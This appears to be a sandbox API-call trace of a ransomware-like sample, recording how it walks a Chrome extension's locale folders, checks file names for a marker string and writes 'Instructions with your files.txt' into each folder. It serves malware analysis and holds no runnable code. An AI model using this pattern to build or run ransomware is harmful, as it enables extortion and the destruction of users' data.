[0130.217] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8343e5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.217] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\messages.json") returned 164
[0130.217] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.217] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8343e5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.217] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\Instructions with your files.txt") returned 183
[0130.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.217] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.218] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.218] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.218] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.219] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.219] CloseHandle (hObject=0x134) returned 1
[0130.219] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.219] GetProcessHeap () returned 0x810000
[0130.219] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.219] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8344d030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
[0130.219] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es") returned 150
[0130.219] GetProcessHeap () returned 0x810000
[0130.219] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.219] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*") returned 152
[0130.219] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8344d030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.219] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\.") returned 152
[0130.219] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8344d030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.219] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\..") returned 153
[0130.219] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8344d030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x404b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.219] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\messages.json") returned 164
[0130.220] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.220] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8344d030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x404b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.220] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\Instructions with your files.txt") returned 183
[0130.220] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.220] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.221] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.221] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.221] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.221] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.221] CloseHandle (hObject=0x134) returned 1
[0130.221] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.221] GetProcessHeap () returned 0x810000
[0130.221] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.221] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
[0130.221] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et") returned 150
[0130.221] GetProcessHeap () returned 0x810000
[0130.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.221] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*") returned 152
[0130.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.222] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\.") returned 152
[0130.223] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.223] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\..") returned 153
[0130.223] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.223] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\messages.json") returned 164
[0130.223] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.223] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83454560, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.223] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\Instructions with your files.txt") returned 183
[0130.223] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.223] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.224] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.224] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.224] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.224] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.225] CloseHandle (hObject=0x134) returned 1
[0130.225] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.225] GetProcessHeap () returned 0x810000
[0130.225] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.225] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa", cAlternateFileName="")) returned 1
[0130.225] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa") returned 150
[0130.225] GetProcessHeap () returned 0x810000
[0130.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.225] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*") returned 152
[0130.225] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.225] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\.") returned 152
[0130.225] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.225] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\..") returned 153
[0130.225] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.225] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\messages.json") returned 164
[0130.225] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.225] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8345ba90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x46f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.225] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\Instructions with your files.txt") returned 183
[0130.225] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.228] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.228] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.229] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.229] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.229] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.229] CloseHandle (hObject=0x134) returned 1
[0130.229] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.229] GetProcessHeap () returned 0x810000
[0130.229] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
